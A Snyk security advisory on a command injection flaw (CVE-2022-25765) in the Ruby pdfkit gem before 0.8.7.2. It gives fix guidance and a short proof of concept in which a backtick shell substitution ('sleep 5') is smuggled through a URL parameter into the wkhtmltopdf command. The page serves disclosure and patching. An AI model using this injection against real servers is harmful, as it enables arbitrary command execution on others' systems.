Command Injection Affecting pdfkit package, versions <0.8.7.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
39.68% (98th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUBY-PDFKIT-2869795
  • published8 Sept 2022
  • disclosed14 Jun 2022
  • creditBenoit Côté-Jodoin

Introduced: 14 Jun 2022

CVE-2022-25765  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade pdfkit to version 0.8.7.2 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection where the URL is not properly sanitized.

NOTE: This issue was originally addressed in 0.8.7, but the fix was not complete. A complete fix was released in 0.8.7.2.

PoC:

An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:

PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf

If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:

irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command
wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" -
=> nil

Calling to_pdf on the instance shows that the sleep command is indeed executing:

PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
# 5 seconds wait...

Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with "http":

PDFKit.new("http%20`sleep 5`").to_pdf

CVSS Scores

version 3.1